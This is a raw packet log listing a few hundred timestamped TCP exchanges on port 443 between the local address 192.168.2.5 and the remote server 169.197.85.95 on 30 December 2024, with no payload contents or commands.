Dec 30, 2024 16:16:56.034596920 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.034605980 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.034620047 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.034648895 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.034703970 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.034740925 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.034775972 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.034775972 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.034785032 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.034853935 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.034857988 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.034868002 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.034923077 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.035057068 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.035126925 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.035152912 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.035188913 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.035231113 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.035231113 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.035238981 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.035306931 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.035410881 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.035480976 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.121696949 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.121737003 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.121747971 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.121778965 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.121824026 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.121854067 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.121910095 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.121910095 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.121910095 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.121910095 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.121938944 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.121982098 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.121993065 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.121993065 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.122004032 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.122021914 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.122046947 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.122109890 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.122124910 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.122133017 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.122147083 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.122162104 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.122210979 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.122216940 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.122263908 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.122370005 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.122441053 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.122462988 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.122468948 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.122488976 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.122489929 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.122523069 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.122529984 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.122541904 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.122544050 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.122646093 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.122654915 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.122694969 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.122711897 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.122750044 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.122776985 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.122783899 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.122806072 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.122829914 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.122937918 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.122973919 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.122993946 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.123002052 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.123018026 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.123104095 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.123250961 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.123301029 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.123337030 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.123337030 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.123337030 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.123347044 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.123374939 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.123406887 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.123406887 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.123409986 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.123420000 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.123451948 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.123491049 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.123491049 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.123500109 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.123567104 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.123596907 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.123647928 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.123656988 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.123729944 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.123846054 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.123882055 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.123899937 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.123908043 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.123919964 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.123948097 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.123948097 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.123960018 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.123984098 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.124176979 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.124208927 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.124243975 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.124243975 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.124255896 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.175781012 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.214252949 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.214318991 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.214355946 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.214394093 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.214430094 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.214468002 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.214468002 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.214468002 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.214468002 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.214469910 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.214483023 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.214510918 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.214510918 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.214528084 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.214610100 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.214648962 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.214660883 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.214673996 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.214715004 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.214718103 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.214718103 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.214726925 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.214787006 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.214857101 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.214910030 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.214920044 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.214975119 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.215049028 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.215095997 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.215106010 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.215112925 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.215137005 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.215148926 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.215148926 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.215157032 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.215174913 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.215193033 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.215274096 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.215280056 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.215331078 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.215336084 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.215342999 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.215373039 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.215387106 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.215415955 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.215424061 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.215430021 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.215459108 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.215471029 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.215495110 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.215514898 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.215523005 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.215581894 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.215600967 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.215632915 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.215639114 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.215679884 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.215728045 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.215773106 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.215785980 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.215800047 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.215811968 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.215816975 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.215836048 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.215842009 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.215877056 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.215944052 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.215998888 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.216006994 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.216053963 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.216063976 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.216099977 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.216114998 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.216123104 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.216159105 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.216182947 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.216304064 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.216344118 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.216353893 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.216361046 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.216386080 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.216406107 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.216406107 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.216415882 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.216456890 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.217058897 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.217097044 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.217123985 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.217132092 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.217153072 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.269344091 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.306612015 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.306651115 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.306685925 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.306710005 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.306720018 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.306739092 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.306744099 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.306868076 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.306902885 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.306902885 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.306915045 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.306940079 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.306967020 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.306991100 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.306998014 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.307010889 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.307039022 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.307148933 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.307162046 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.307204962 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.307228088 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.307267904 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.307276964 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.307284117 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.307318926 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.307318926 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.307337046 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.307389021 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.307430983 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.307430983 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.307440042 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.307506084 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.307619095 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.307658911 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.307682991 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.307689905 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.307703018 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.307720900 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.307720900 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.307734013 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.307745934 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.307745934 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.307790041 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.307800055 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.307806015 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.307831049 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.307849884 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.307883978 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.307908058 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.307914019 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.307929993 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.307939053 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.307972908 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.307981014 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.307987928 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.308012009 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.308021069 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.308048010 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.308063984 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.308070898 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.308084011 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.308094025 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.308156013 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.308161974 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.308202982 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.308363914 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.308434010 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.308444023 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.308521032 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.308628082 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.308660984 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.308685064 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.308691978 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.308705091 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.308732986 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.308748960 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.308774948 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.308804989 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.308813095 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.308828115 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.308861971 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.309693098 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.309730053 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.309751987 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.309758902 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.309772015 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.309808969 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.321801901 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.321935892 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.399305105 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.399353027 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.399403095 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.399419069 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.399429083 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.399441957 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.399559021 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.399584055 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.399584055 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.399595976 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.399610043 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.399609089 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.399645090 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.399668932 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.399676085 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.399689913 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.399725914 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.399816990 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.399826050 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.399902105 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.399918079 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.399925947 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.399944067 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.399949074 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.399990082 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.400002956 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.400011063 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.400098085 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.400113106 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.400145054 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.400161028 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.400167942 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.400182009 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.400199890 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.400271893 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.400278091 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.400335073 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.400351048 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.400387049 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.400403023 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.400409937 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.400424957 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.400439978 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.400454044 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.400460005 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.400490046 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.400494099 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.400548935 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.400554895 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.400578976 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.400597095 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.400604010 CET	443	49704	169.197.85.95	192.168.2.5
